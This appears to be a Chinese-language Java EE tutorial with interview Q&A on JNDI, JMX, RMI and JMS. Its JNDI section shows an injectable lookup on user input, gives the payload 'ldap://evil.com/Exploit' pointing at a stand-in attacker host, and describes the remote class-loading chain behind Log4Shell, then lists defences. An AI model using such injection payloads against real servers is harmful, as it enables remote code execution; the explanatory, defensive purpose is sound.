dnsEnv.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.dns.DnsContextFactory");
DirContext dns = new InitialDirContext(dnsEnv);
Attributes attrs = dns.getAttributes("example.com", new String[] { "MX" });
// 文件系统:路径即名字
Context fs = new InitialContext();
Object file = fs.lookup("file:///tmp/a.txt");在 Java EE 中的作用
JNDI 是 Java EE「容器接管资源」思想的实现手段:开发者不关心资源从哪来,只按约定的名字去容器里取。
最典型的场景是数据源。传统写法在 web.xml 里声明资源引用,再由容器(Tomcat)绑定实际实现:
<!-- 应用声明「我要用这个名字的资源」 -->
<resource-ref>
<res-ref-name>jdbc/UserDS</res-ref-name>
<res-type>javax.sql.DataSource</res-type>
<res-auth>Container</res-auth>
</resource-ref><!-- Tomcat context.xml:容器决定这个名字指向哪个真实数据源 -->
<Context>
<Resource name="jdbc/UserDS" auth="Container"
type="javax.sql.DataSource"
driverClassName="com.mysql.cj.jdbc.Driver"
url="jdbc:mysql://127.0.0.1:3306/demo"
username="root" password="secret"
maxTotal="20" maxIdle="10" />
</Context>// 代码只认这个名字,换数据库/换机器都不用改
Context ctx = new InitialContext();
DataSource ds = (DataSource) ctx.lookup("java:comp/env/jdbc/UserDS");
try (Connection conn = ds.getConnection()) { /* ... */ }java:comp/env/ 是应用私有命名空间,只能访问本应用声明的资源,是推荐写法。直接用 java:comp/env 之外的名字(如裸的 jdbc/UserDS)会走全局命名空间,容易与其他应用冲突,也不利于权限隔离。
由此得到的直接收益:连接池与线程池由容器统一管理,应用不需要自己维护池化参数;环境差异(开发/测试/生产)体现在容器的配置里,与代码隔离;测试时可以用简单实现替换数据源,而不改动业务代码。
其他用途:
- EJB 查找:远程 EJB 通过 JNDI 名字定位(
java:global/...或java:comp/env/ejb/...)。 - JMS 资源:连接工厂与队列/主题的绑定同样走 JNDI。
- JMX 与配置:部分容器用 JNDI 暴露管理对象。
Spring 之后这些场景大多被 @Resource、@Autowired、spring.datasource.* 取代——但底层仍是同一套思想,只是名字解析从容器换成了 Spring 容器以及配置中心。
安全问题:JNDI 注入
JNDI 注入的本质是:lookup() 的参数如果来自用户输入,攻击者就能指定协议与目标地址,让服务端去连接自己控制的服务器。
// 危险写法:名字完全来自用户输入
String name = request.getParameter("name");
Object obj = new InitialContext().lookup(name);攻击者传入 ldap://evil.com/Exploit 时,受害服务器会:
- 按 scheme 选择 LDAP 的 SPI,主动连接
evil.com:389。 - 取回一条属性中带有
javaCodeBase/javaFactory的条目。 - 依据这些属性下载并实例化远端类,从而执行任意代码。
Log4j2 的 CVE-2021-44228 之所以能打到「看一眼日志就中招」,是因为它的 lookup 功能把日志内容(可能来自用户输入)当成了 JNDI 名字。教训不在于 JNDI 本身有错,而在于把不可信输入当作名字去解析这一模式天然危险。理解这条链路比背诵漏洞编号更有价值。
防护措施按优先级:
- 不要用不可信输入做 lookup。业务上能用白名单枚举,就绝不动态拼接。
- 升级 JDK:较新版本默认关闭了远程类加载(
com.sun.jndi.ldap.object.trustURLCodebase等默认false),可以显著降低危害,但不能替代输入校验。 - 限制出网:服务端出站流量做白名单,即使注入成功也无法连回攻击者。
- 关闭/限制 JNDI 能力:应用若完全不用 JNDI,直接禁用相关类加载与远程协议。
- 日志组件保持最新,并关闭消息中的 lookup 解析(Log4j 2.x 的
%msg{nolookups}配置)。
面试问答
JNDI 是什么,为什么需要它?
JNDI 是 Java 的命名与目录服务接口,把资源的位置与代码解耦:代码只使用逻辑名字,由容器或配置决定该名字实际指向哪个资源。好处是环境差异(开发/测试/生产)集中在配置侧,换数据源或迁移机器不需要改代码,同时资源池化(连接池)可以交给容器统一管理。
JNDI 和 JDBC 是什么关系?
JDBC 负责「怎么连数据库」,JNDI 负责「数据库配置从哪来」。典型用法是通过 JNDI 查找一个 DataSource(java:comp/env/jdbc/xxx),拿到后再用 JDBC 或 ORM 框架访问数据库。两者是先后关系而非替代关系:JNDI 拿到连接池,JDBC 从池里取连接。
命名服务和目录服务的区别?
命名服务只做「名字 → 对象」的映射(如 DNS);目录服务在对象之外还维护属性,因此支持按属性检索(如 LDAP 可按 cn、mail 搜索条目)。JNDI 中 Context 对应命名操作,DirContext 在它之上增加属性读写与 search()。
JNDI 注入的原理是什么?怎么防?
InitialContext.lookup() 的参数可控时,攻击者可以传入带任意 scheme 的名字(如 ldap://、rmi://),让服务端连接攻击者服务器并按远端指示加载类,从而执行任意代码。防护的核心是不把不可信输入当作 JNDI 名字,配合升级 JDK(默认禁止远程代码库)、限制服务端出站流量、以及禁用不需要的 JNDI 远程协议。
现在还用 JNDI 吗?
直接用得少了:数据源绑定、EJB 查找这些场景已被 Spring 的依赖注入与配置中心取代。但 JNDI 的思想仍在——「用逻辑名字查找资源」今天体现为 @Value("${xxx}")、配置中心的 dataId、Kubernetes 的 Service 名。存量 Java EE / Spring Boot 传统部署的项目里,java:comp/env 形式的查找依然常见。
JMX
JMX(Java Management Extensions)是 Java 的管理与监控规范:把程序内部的状态和操作暴露成标准接口,让外部工具能读取和调用。我们天天用的 JConsole、VisualVM、jstat 能看到的堆内存、线程数、GC 次数,本质上都是 JMX 暴露出来的 MBean 属性。它是 Java 里「可观测性」的最底层机制。
要解决什么问题
一个运行中的 JVM 对外是个黑盒:堆用了多少、线程池队列积压多少、某个业务开关是开还是关。JMX 提供的答案是统一协议化的「管理接口」:
- 对 JVM:JVM 自身通过 JMX 暴露内存、GC、线程、类加载等 MXBean。
- 对应用:开发者自定义 MBean,把业务指标与运维开关暴露出来。
- 对中间件:Tomcat、Kafka、RocketMQ 等均通过 JMX 暴露内部状态,这也是各类监控系统能采集它们指标的原因。
JMX 与日志、指标(Metrics)是同一目标的三条路径:日志记录离散事件,指标做数值聚合,JMX 提供可查询、可调用的运行时对象——它不仅能「读」,还能「写」(比如动态调整日志级别、清空缓存、触发一次 GC)。这是它区别于纯指标上报的地方。
三层架构
JMX 规范把管理能力分成三层,理解这三层就理解了 JMX 的全貌:
| 层次 | 名称 | 职责 |
|---|---|---|
| 第一层 | Instrumentation(探测层) | 定义 MBean,即「能被管理的对象」 |
| 第二层 | Agent(代理层) | 由 MBeanServer 注册与调度 MBean,是核心 |
| 第三层 | Distributed(分布层) | 让远程客户端访问 Agent(RMI、JMXMP 等) |
远程客户端(JConsole) ──RMI/JMXMP──▶ Distributed 层
│
▼
MBeanServer(Agent) ← 所有 MBean 都注册在这里
│
┌──────────────────┼──────────────────┐
▼ ▼ ▼
自定义 MBean JVM MXBean Tomcat/Kafka MBeanMBean 的四种类型
MBean 是「可被管理的 Java 对象」,按实现方式分四类:
| 类型 | 约定 | 需实现接口 | 用途 |
|---|---|---|---|
| Standard | 类 Xxx 配接口 XxxMBean,属性由 getter/setter 推导 | 需 | 最常用 |
| MXBean | 类 Xxx 配接口 XxxMXBean,复杂类型自动映射为开放类型 | 需 | 跨版本兼容推荐 |
| Dynamic | 实现 DynamicMBean,运行时决定暴露什么 | 需 | 动态发现 |
| Open | 只使用预定义的开放类型 | — | 保证可跨网络传输 |
四类的完整名称依次是 Standard MBean、MXBean、Dynamic MBean、Open MBean。
Standard MBean 的命名约定不是可选风格而是规范要求:类 Foo 必须实现接口 FooMBean,MBeanServer 靠这个命名规则识别它是 MBean。推荐优先用 MXBean——它把自定义类型自动映射为通用类型,不会因为客户端缺少你的类而失败。
一个完整的例子
第一步:定义接口,命名必须是 类名MBean:
public interface QueueMonitorMBean {
int getQueueSize(); // 只读属性
long getProcessedCount();
String getState(); // 只读属性
void clear(); // 操作(方法)
void setThreshold(int threshold); // 可写属性(setter)
}第二步:实现类,类名与接口前缀一致(QueueMonitor / QueueMonitorMBean):
public class QueueMonitor implements QueueMonitorMBean {
private final AtomicInteger queueSize = new AtomicInteger();
private final AtomicLong processed = new AtomicLong();
private volatile int threshold = 1000;
@Override public int getQueueSize() { return queueSize.get(); }
@Override public long getProcessedCount() { return processed.get(); }
@Override public String getState() { return queueSize.get() > threshold ? "BACKLOG" : "NORMAL"; }
@Override public void clear() { queueSize.set(0); }
@Override public void setThreshold(int t) { this.threshold = t; }
// 业务代码调用这两个方法维护内部状态
public void onEnqueue() { queueSize.incrementAndGet(); }
public void onProcessed() { queueSize.decrementAndGet(); processed.incrementAndGet(); }
}第三步:注册到 MBeanServer,并启动一个 RMI 连接器供远程访问:
public class JmxExporter {
public static void main(String[] args) throws Exception {
MBeanServer server = ManagementFactory.getPlatformMBeanServer();
// ObjectName 是 MBean 在 MBeanServer 中的唯一标识:domain:key=value
ObjectName name = new ObjectName("com.example:type=QueueMonitor,name=orderQueue");
server.registerMBean(new QueueMonitor(), name);
// 开放 RMI 连接器(端口固定,便于监控系统连接)
LocateRegistry.createRegistry(9999);
JMXServiceURL url = new JMXServiceURL("service:jmx:rmi:///jndi/rmi://127.0.0.1:9999/jmxrmi");
JMXConnectorServer connector = JMXConnectorServerFactory.newJMXConnectorServer(url, null, server);
connector.start();
System.out.println("JMX ready: " + url);
Thread.sleep(Long.MAX_VALUE);
}
}第四步:本地或远程读取:
// 本地直接拿平台 MBeanServer
MBeanServer server = ManagementFactory.getPlatformMBeanServer();
int size = (int) server.getAttribute(
new ObjectName("com.example:type=QueueMonitor,name=orderQueue"), "QueueSize");
System.out.println("queue size = " + size);
// 远程通过 RMI 连接
JMXConnector connector = JMXConnectorFactory.connect(
new JMXServiceURL("service:jmx:rmi:///jndi/rmi://127.0.0.1:9999/jmxrmi"));
MBeanServerConnection remote = connector.getMBeanServerConnection();
remote.invoke(new ObjectName("com.example:type=QueueMonitor,name=orderQueue"), "clear", null, null);ObjectName 与查询
ObjectName 采用 域名:属性=值,属性=值 的格式,支持通配符查询:
ObjectName name = new ObjectName("com.example:type=QueueMonitor,name=orderQueue");
// 按模式查询一批 MBean
Set<ObjectName> all = server.queryNames(new ObjectName("com.example:type=*"), null);
Set<ObjectName> memory = server.queryNames(new ObjectName("java.lang:type=Memory"), null);JVM 自带的 MBean 都在 java.lang 域名下(下表省略该前缀),这是排查问题的常用入口:
| ObjectName | 能读到什么 |
|---|---|
type=Memory | 堆/非堆使用量、GC 后的回收量 |
type=MemoryPool | 各内存区(Eden、Old、Metaspace,按 name 区分) |
type=GarbageCollector | GC 次数与耗时(按 name 区分收集器) |
type=Threading | 线程数、死锁检测 |
type=ClassLoading | 已加载类数量 |
type=OperatingSystem | CPU、负载、文件描述符 |
// 顺手做一个死锁检测,比翻日志快得多
ObjectName threading = new ObjectName("java.lang:type=Threading");
long[] deadlocked = (long[]) server.invoke(threading, "findDeadlockedThreads", null, null);
System.out.println(deadlocked == null ? "no deadlock" : "deadlocked threads: " + deadlocked.length);Memory 这类 JVM 自带的 MBean 实际上都是 MXBean(名字里的 X 表示 eXtended),所以像 MemoryUsage 这种复合类型在 JConsole 里能正常展开显示,而不需要客户端有对应的类。
客户端工具
| 工具 | 特点 |
|---|---|
| JConsole | JDK 自带,jconsole 启动,图形化查看 MBean 树 |
| VisualVM | 功能更全,可装插件扩展,支持采样与堆转储 |
| JMXTerm | 命令行交互,适合无图形界面的服务器 |
| Prometheus JMX Exporter | 把 MBean 转成 Prometheus 指标,接入监控体系 |
Prometheus 的 JMX Exporter 是最常见的生产用法:以 Java Agent 方式挂载或独立进程连接,把指定 MBean 的属性按规则映射成指标。
# jmx_exporter 配置:把队列长度暴露成 Prometheus 指标
rules:
- pattern: 'com\.example<type=QueueMonitor, name=orderQueue><>(\w+)'
name: order_queue_$1
type: GAUGE
labels:
queue: orderJMX 连接器默认没有认证与加密,任何能连上端口的人都能读取内部状态、调用 MBean 上的任意方法(包括 clear() 这类破坏性操作)。生产环境必须:不对外暴露端口、启用认证与 SSL(jmxremote.password / jmxremote.access)、或用只读的 exporter 代理访问。
与 Spring 的集成
Spring 对 JMX 提供了完整支持,可以把任意 Bean 声明式地暴露为 MBean,无需手写接口:
@Component
@ManagedResource(objectName = "com.example:type=OrderStats", description = "订单统计")
public class OrderStats {
private final AtomicLong total = new AtomicLong();
@ManagedAttribute(description = "累计订单数")
public long getTotal() { return total.get(); }
@ManagedOperation(description = "重置计数")
public void reset() { total.set(0); }
}为什么需要它
回到实用角度,JMX 在工程中的三个具体价值:
- 运行时诊断:堆内存、GC、线程与死锁状态都是现成的 MBean,排查线上问题不必先加埋点。
- 动态调参:日志级别、限流阈值、开关状态可以通过 MBean 的 setter 或操作在运行时修改,不必重启(Logback 的
JMXConfigurator就是典型实现)。 - 标准化的监控接入:中间件普遍已暴露 JMX,监控系统只需一套采集方式就能覆盖 JVM、Tomcat、Kafka,不需要为每个组件写适配。
JMX 在可观测性中的定位可以这样概括:Metrics 告诉你「出问题了」,日志告诉你「细节是什么」,JMX 让你能「现场动手」。三者互补,而 JMX 的独特之处是可写、可调用。
面试问答
JMX 是什么,有什么用?
JMX 是 Java 的管理与监控规范,把程序内部状态与操作暴露成标准接口(MBean),外部工具通过 MBeanServer 读写。三大用途:读取 JVM 与中间件的运行时指标(堆、GC、线程、连接池);在运行期动态调整参数或执行管理操作;作为统一的监控接入点,让监控系统用一套方式采集不同组件的指标。
JMX 有四层还是三层?分别是什么?
三层:Instrumentation(探测层,定义 MBean)、Agent(代理层,MBeanServer 负责注册与调度,是核心)、Distributed(分布层,通过 RMI/JMXMP 让远程客户端访问)。有时会把「客户端」也算作一层,但规范里是三层。
Standard MBean 和 MXBean 的区别?
两者都需要「类 Xxx + 接口 XxxMBean/XxxMXBean」的命名约定。区别在于 MXBean 会把自定义类型自动映射为通用开放类型,所以客户端不需要拥有你的类定义就能正确解析——JVM 自带的 Memory、Threading 都是 MXBean。跨 JVM 版本或需要远程访问时优先用 MXBean。
JMX 和 JConsole/VisualVM 是什么关系?
JConsole、VisualVM 是 JMX 的客户端。它们连接目标 JVM 的 MBeanServer,以树形展示 MBean,并在属性页提供读写与操作调用。所以「JConsole 里能看到什么」取决于目标 JVM 注册了哪些 MBean——本地连接看到的是平台 MBeanServer 全部内容,远程连接则受连接器开放范围与权限限制。
如何用 JMX 排查线上问题?
典型路径:连上目标 JVM 的 MBeanServer,先看 java.lang:type=Memory 与各 MemoryPool 判断是否内存问题,再看 GarbageCollector 的 GC 次数与耗时判断是否频繁 Full GC,然后调 Threading.findDeadlockedThreads() 一步确认有没有死锁。这套顺序比在日志里翻找快得多,而且不需要事先埋点。
JMX 有哪些安全风险?
连接器默认无认证与加密,任何能访问端口的人都能读取内部数据并调用 MBean 上的方法(包括清理缓存、关闭组件等破坏性操作)。此外历史上 JMX 连接器在 RMI 之上实现,也会受反序列化问题影响。防护措施是不对外暴露端口、启用认证与 SSL、尽量通过只读的 JMX Exporter 代理访问而非直接开放连接器。
RMI
RMI(Remote Method Invocation)是 Java 原生的远程调用方案:让调用远程对象的方法,写起来和调用本地对象一样。它是 Java 分布式最早的基石——EJB 的远程调用底层就是 RMI。理解它的价值不在今天还在用,而在于「存根 + 序列化 + 传输协议」这套结构,是后来所有 RPC 框架的共同骨架。
解决什么问题
本地方法调用时,调用方与被调方在同一个 JVM 里,参数通过栈传递。RMI 要跨越进程与网络,就必须解决三件事:
- 地址问题:调用方怎么知道远程对象在哪 → 注册表(Registry)。
- 寻址问题:怎么让调用看起来像本地调用 → 代理对象(Stub)。
- 数据问题:参数和返回值怎么过网络 → 序列化(Serialization)。
核心角色
调用方 JVM 服务方 JVM
┌──────────┐ ┌──────┐ ┌─────────┐ ┌──────────┐ ┌────────────┐
│ 客户端 │ → │ Stub │ → │ 网络 │ → │ Skeleton │ → │ 真正的实现 │
│ 代码 │ │ 存根 │ │ JRMP │ │ (骨架) │ │ 对象 │
└──────────┘ └──────┘ └─────────┘ └──────────┘ └────────────┘
代理 转发- Stub(存根):运行在客户端,长得和远程接口一模一样。它把「方法名 + 参数」打包成消息发给服务端,再把回包解包成返回值。对调用方来说,它就是那个「远程对象」。
- Skeleton(骨架):运行在服务端,接收网络消息、解包、调用真正的实现对象、再把结果打包回去。JDK 5 之后由动态代理取代,不再需要手工生成(也不再需要
rmic工具)。 - Registry(注册表):名字服务,默认监听 1099 端口,保存「名字 → 远程对象引用」的映射。
- JRMP(Java Remote Method Protocol):RMI 自有的传输协议,建立在 TCP 之上;也可以换用 IIOP 与其他语言互通(RMI-IIOP)。
一个完整的例子
第一步:定义远程接口,必须继承 Remote,且每个方法都要声明 RemoteException:
import java.rmi.Remote;
import java.rmi.RemoteException;
public interface HelloService extends Remote {
String sayHello(String name) throws RemoteException;
User findUser(long id) throws RemoteException;
}第二步:实现接口,继承 UnicastRemoteObject 把自身导出为远程对象:
import java.rmi.server.UnicastRemoteObject;
public class HelloServiceImpl extends UnicastRemoteObject implements HelloService {
protected HelloServiceImpl() throws RemoteException {
super(); // 相当于「导出」:分配端口、注册到 RMI 运行时
}
@Override
public String sayHello(String name) {
return "hello " + name;
}
@Override
public User findUser(long id) {
return new User(id, "jy"); // User 必须可序列化
}
}第三步:启动注册表并绑定对象:
public static void main(String[] args) throws Exception {
LocateRegistry.createRegistry(1099); // 启动注册表(也可用 rmiregistry 命令)
Naming.rebind("rmi://127.0.0.1:1099/Hello", new HelloServiceImpl());
System.out.println("RMI server ready");
}第四步:客户端查找并调用:
public static void main(String[] args) throws Exception {
HelloService service = (HelloService) Naming.lookup("rmi://127.0.0.1:1099/Hello");
System.out.println(service.sayHello("jy")); // 看起来像本地调用
System.out.println(service.findUser(1L).getName());
}客户端拿到的是 HelloService 类型但实际是 Stub 实例(JDK 5+ 由 java.lang.reflect.Proxy 动态生成)。所以客户端必须能拿到接口(单独打成 API jar),而不需要实现类——这是「接口与实现分离」在 RPC 上的最早体现。
序列化要求
RMI 的所有参数与返回值都要在网络上传输,因此都必须实现 java.io.Serializable。这带来几条常被忽略的约束:
- 字符串、基本类型包装类、集合天然可序列化。
- 自定义类必须
implements Serializable,并建议显式声明serialVersionUID。 - 不可序列化的字段要标
transient(如Connection、Thread),否则会抛NotSerializableException。 - 序列化是深拷贝:对象在网络上是一份副本,服务端对参数的修改不会影响客户端。这与本地调用「传引用」的语义不同,是认知偏差最大的地方。
public class User implements Serializable {
private static final long serialVersionUID = 1L; // 显式声明,避免兼容性断裂
private long id;
private String name;
private transient String cached; // 不参与序列化
}serialVersionUID 不是可选项:不显式声明时,JVM 会根据类的结构(字段、方法签名)自动生成一个哈希值。任何一次「加个字段、改个方法」都会让新旧版本的 UID 不一致,跨版本反序列化直接抛 InvalidClassException。分布式环境下客户端与服务端发布不同步,就会踩到这个坑。
RMI 与其他远程调用
| 维度 | RMI | Web Service | gRPC |
|---|---|---|---|
| 抽象层次 | 方法调用(像本地) | HTTP + XML/JSON | 方法调用 + IDL |
| 跨语言 | 不支持(仅 Java) | 支持 | 支持 |
| 传输 | JRMP(TCP) | HTTP | HTTP/2 或私有协议 |
| 序列化 | Java 原生 | XML / JSON | Protobuf |
| 服务治理 | 无 | 无 | 负载均衡、熔断、注册中心 |
表里的 gRPC 一列同样适用于 Dubbo(支持跨语言、二进制序列化、完整的服务治理)。更底层的 Socket 没有方法调用级的抽象,属于字节流编程,不在同一比较维度上。
由此也能看出 RMI 的局限,正是它被取代的原因:
- 只支持 Java,异构系统无法互通。
- Java 原生序列化脆弱且危险:反序列化链是大量远程代码执行漏洞的来源;同时序列化体积大、性能一般。
- 缺乏服务治理:没有负载均衡、注册中心、超时重试、熔断降级——这些是 Dubbo 相对 RMI 的核心增量。
- 对防火墙不友好:除注册表端口外还会动态分配端口,需要固定端口配置(
-Djava.rmi.server.hostname与固定export端口)。
RMI 默认监听 1099 且常常缺少认证与访问控制,历史上被大量用于攻击 Java 应用(如通过反序列化在服务端执行代码)。运维层面最基本的要求是:RMI 端口绝不暴露到公网,并在服务端设置 java.rmi.server.useCodebaseOnly=true 禁止从远端加载类。
与 JNDI、EJB 的关系
三者常一起出现,边界其实很清楚:
- RMI 提供「远程方法调用」这一能力。
- JNDI 提供「按名字找对象」的入口。RMI 的对象通过 JNDI(或 RMI Registry)暴露名字,客户端用
Naming.lookup("rmi://...")来定位。所以 JNDI 是「怎么找」,RMI 是「找到之后怎么调」。 - EJB 的远程接口基于 RMI:容器为 Session Bean 生成 Stub,客户端通过 JNDI 拿到它再调用。
客户端 → JNDI 查找(名字解析) → 拿到 RMI Stub → 通过 JRMP 调用 → EJB 容器内的实现面试问答
RMI 的调用原理是什么?
客户端持有 Stub(远程对象的代理),调用方法时 Stub 把方法名与参数序列化后通过 JRMP 协议发到服务端;服务端的 Skeleton 反序列化、调用真正的实现对象,再把返回值序列化回传,由 Stub 解包返回给调用方。整个过程的目的是让远程调用在代码上等同于本地调用。
RMI 与 RPC 有什么区别?
RPC 是「远程过程调用」的通用概念,RMI 是它在 Java 上的具体实现之一。可以理解为:RPC 是抽象,RMI 是 Java 原生的落地形式;Dubbo、gRPC 也是 RPC,但支持跨语言、体积更小、并带有服务治理能力。所以「RMI 与 RPC」不是并列关系,而是「实现与概念」的关系。
RMI 为什么现在很少用?
三个硬伤:只支持 Java 语言(无法与其他技术栈互通);依赖 Java 原生序列化(体积大、性能一般,且反序列化漏洞风险高);没有任何服务治理能力(负载均衡、超时、重试、熔断都要自己实现)。工程上已被 Dubbo、gRPC、HTTP+JSON 取代,RMI 更多作为理解 RPC 原理的教学素材存在。
什么情况下不能使用 RMI?
参数或返回值不可序列化时(如包含 Connection、线程、流对象);需要跨语言调用时;需要跨公网或穿透防火墙时(RMI 的动态端口分配与 JRMP 协议都不友好);需要细粒度的超时、重试与熔断控制时。
RMI 和序列化是什么关系?
RMI 依赖 Java 原生序列化完成数据编解码,因此所有跨网络传输的对象都必须是可序列化的(Serializable),这也是 NotSerializableException 的常见来源。反过来说,正因为使用了原生序列化,RMI 才会成为反序列化攻击的常见入口——序列化机制本身「根据字节流还原对象」的能力,就是攻击者可以利用的构造入口。
JMS
JMS(Java Message Service)是 Java EE 面向消息中间件的访问规范。它定义的是「应用怎么收发消息」的接口,而不是消息中间件本身——真正投递消息的是 ActiveMQ、RocketMQ 这类 Broker。理解 JMS 的价值在于:今天用的 RocketMQ、Kafka,消息模型、确认机制、事务语义几乎都能在 JMS 里找到原型。
要解决什么问题
同步调用(RPC)在服务之间建立的是强耦合:调用方必须等被调方返回,被调方挂掉调用方就失败。消息中间件把它改成异步:
| 维度 | 同步调用 | 基于消息 |
|---|---|---|
| 耦合 | 调用方需知道被调方地址 | 只依赖消息目的地 |
| 可用性 | 被调方故障即失败 | 消息暂存,恢复后继续处理 |
| 流量削峰 | 无法缓冲 | 队列天然缓冲 |
| 调用结果 | 立即返回 | 异步,需回执机制 |
代价是:系统变复杂,需要处理重复消费、消息丢失、顺序性问题。
两种消息模型
JMS 规范定义了两种模型,这是最核心的概念区分:
| 维度 | 点对点 P2P (Queue) | 发布订阅 Pub/Sub (Topic) |
|---|---|---|
| 目的地 | Queue(队列) | Topic(主题) |
| 消费关系 | 一条消息只被一个消费者消费 | 一条消息被所有订阅者消费 |
| 广播能力 | 无 | 有 |
| 典型场景 | 任务分发、削峰 | 事件通知、缓存刷新 |
| 是否持久 | 队列持久化,离线消费者上线后仍可消费 | 默认不持久,订阅者不在线就错过 |
对应到工程实践,就是「做任务」用队列,「做通知」用主题。
Pub/Sub 的「错过就没了」在生产里通常不可接受,所以 JMS 提供了持久订阅(Durable Subscription):订阅者离线期间,Broker 会代为保存消息,重新上线后补投。代价是 Broker 需要为每个持久订阅者维护消息存储。
核心 API
JMS 的编程模型有一条固定链路,记顺序即可:
ConnectionFactory → Connection → Session → { Destination + Producer / Consumer } → Message// 1. 连接工厂:通常从 JNDI 获取,或由框架注入
ConnectionFactory factory = new ActiveMQConnectionFactory("tcp://127.0.0.1:61616");
// 2. 连接:与 Broker 之间的物理连接,重量级,应复用
try (Connection connection = factory.createConnection()) {
connection.start();
// 3. 会话:发送/接收消息的上下文,非线程安全
// 参数一:是否启用事务;参数二:确认模式
Session session = connection.createSession(false, Session.AUTO_ACKNOWLEDGE);
// 4. 目的地
Queue queue = session.createQueue("order.created");
// Topic topic = session.createTopic("cache.refresh"); // Pub/Sub 换这个
// 5. 生产者发送
MessageProducer producer = session.createProducer(queue);
producer.setDeliveryMode(DeliveryMode.PERSISTENT);
producer.send(session.createTextMessage("order-1001"));
// 6. 消费者接收
MessageConsumer consumer = session.createConsumer(queue);
consumer.setMessageListener(message -> {
TextMessage text = (TextMessage) message;
try {
System.out.println("收到: " + text.getText());
} catch (JMSException e) {
throw new RuntimeException(e);
}
});
// 保持进程存活以便接收(异步监听模式下必须有)
Thread.sleep(5_000);
}Session 不是线程安全的。多线程共用一个 Session 并发发送会导致消息错乱或抛异常,正确做法是每个线程各自创建 Session(连接 Connection 是线程安全的,可以共享)。这是 JMS 使用中最常见的一类线上问题。
消息类型
JMS 规范固定了五种消息体,前四种最常用:
| 类型 | 内容 | 典型场景 |
|---|---|---|
TextMessage | 字符串 | JSON 报文(最常用) |
MapMessage | 键值对(键为 String,值可为基本类型) | 结构化字段 |
BytesMessage | 字节流 | 文件、二进制 |
ObjectMessage | 可序列化对象 | 不推荐,反序列化风险 |
StreamMessage | 基本类型流 | 少见 |
除了消息体,消息还可以带属性(Properties),供消费者做选择器过滤:
Message msg = session.createTextMessage(json);
msg.setStringProperty("region", "cn-hangzhou");
msg.setIntProperty("retry", 0);
producer.send(msg);
// 消费者只接收特定属性的消息
MessageConsumer consumer = session.createConsumer(queue, "region = 'cn-hangzhou' AND retry < 3");ObjectMessage 依赖 Java 原生反序列化,接收方会反序列化不可信数据,历史上多次成为远程代码执行漏洞的入口(与 RMI 同源)。除非完全可控的内部系统,否则统一用 TextMessage 传 JSON 是更安全的约定。
确认机制
消费者何时告诉 Broker「这条消息我处理完了」,直接决定消息会不会丢、会不会重复。JMS 定义了三种模式(createSession 的第二个参数):
| 模式 | 确认时机 | 风险 | 适用性 |
|---|---|---|---|
AUTO_ACKNOWLEDGE | 消息交给消费者后自动确认 | 可能丢失(处理失败时已确认) | 允许少量丢失 |
CLIENT_ACKNOWLEDGE | 业务处理成功后显式确认 | 可能重复(确认前崩溃) | 推荐 |
DUPS_OK_ACKNOWLEDGE | 批量延迟确认 | 允许重复 | 能容忍重复的场景 |
Session session = connection.createSession(false, Session.CLIENT_ACKNOWLEDGE);
MessageConsumer consumer = session.createConsumer(queue);
Message message = consumer.receive();
try {
handle(message); // 先处理业务
message.acknowledge(); // 处理成功后再确认
} catch (Exception e) {
// 不确认 → 消息会在会话关闭或超时后重新投递
log.error("处理失败,等待重投", e);
}由此推出消息系统的根本矛盾:「至少一次」与「至多一次」只能选一个,绝大多数实现选择「至少一次」,因此消费端必须具备幂等能力——用业务唯一键(订单号、消息 ID)做去重,而不是期待消息只来一次。
确认模式的差异可以这样理解:AUTO_ACKNOWLEDGE 是「发出去就算收到」,CLIENT_ACKNOWLEDGE 是「我明确说收到了才算收到」。后者把确认时机交给业务代码,因此在处理成功后确认才能真正避免消息丢失。
事务性会话
createSession(true, ...) 创建一个事务性会话:消息的发送与确认进入同一个事务,直到 commit() 才生效。
Session session = connection.createSession(true, Session.SESSION_TRANSACTED);
try {
producer.send(session.createTextMessage("a"));
producer.send(session.createTextMessage("b"));
session.commit(); // 两条消息原子投递,要么都发出,要么都不发
} catch (Exception e) {
session.rollback(); // 回滚:已发送的消息被撤销
}会话事务只保证「消息收发这一侧」的原子性,不跨越数据库。真正的「数据库写入 + 消息发送」一致性是分布式事务问题,工程上的常见做法是:
- 本地消息表:业务操作与「待发消息」写入同一个数据库事务,再由定时任务或 CDC 投递。
- 事务消息:RocketMQ 等的两阶段提交(半消息 → 本地事务 → 提交/回滚),本质是把 JMS 的会话事务扩展成跨系统协议。
- 最大努力通知:允许最终不一致,用对账兜底。
消息的可靠性属性
MessageProducer 上有三个属性,决定了消息的「重量」:
producer.setDeliveryMode(DeliveryMode.PERSISTENT); // 持久化:Broker 宕机不丢
producer.setPriority(9); // 0~9,越大越优先(需 Broker 支持)
producer.setTimeToLive(60_000); // 过期时间,超时进死信队列- 持久化 vs 非持久化:非持久化消息只存内存,Broker 重启即丢,但吞吐更高。资金、订单类必须持久化。
- 优先级:多数 Broker 只是有限支持,不能作为业务逻辑的依赖。
- 过期与死信:超过
timeToLive或重试次数上限的消息进入死信队列(DLQ),需要专门的监控与人工/自动补偿流程——没有死信处理方案就等于消息会静默丢失。
JMS 与主流中间件
JMS 是规范,各中间件的对应关系是理解选型的关键:
| 中间件 | 是否遵循 JMS | 模型 | 特点 |
|---|---|---|---|
| ActiveMQ | 是(1.1 完整实现) | Queue / Topic | 老牌、规范兼容好,性能一般 |
| RabbitMQ | 否(遵循 AMQP) | 更灵活的 Exchange 路由 | 可靠、路由能力强 |
| RocketMQ | 否(兼容部分 JMS 语义) | 主题 + 队列 | 高吞吐、支持事务消息 |
| Kafka | 否 | 分区日志(发布订阅) | 极高吞吐,适合流式与日志 |
虽然多数新中间件不严格实现 JMS 接口,但概念是通的:JMS 的 Queue ≈ RocketMQ 的队列(同一消费组内竞争消费),Topic ≈ RocketMQ 的主题 / Kafka 的 topic(不同消费组各自消费全量)。先掌握 JMS 的模型,再看具体中间件,认知成本会低得多。
Spring 里这些细节被进一步封装:
@Component
public class OrderNotifier {
@Autowired
private JmsTemplate jmsTemplate; // 或 RocketMQTemplate / KafkaTemplate
public void send(Order order) {
jmsTemplate.convertAndSend("order.created", order);
}
@JmsListener(destination = "order.created")
public void onMessage(Order order) {
// 收到消息;确认与重试由监听容器按配置处理
}
}顺序与重复
两个逃不掉的问题,也是面试常问:
- 顺序性:队列本身是 FIFO,但一旦有多个消费者并发消费,顺序就无法保证。要做到局部有序,需要按业务键(如订单号)哈希到同一个队列,且该队列同一时刻只有一个消费者在工作。全局有序代价极高,通常不需要。
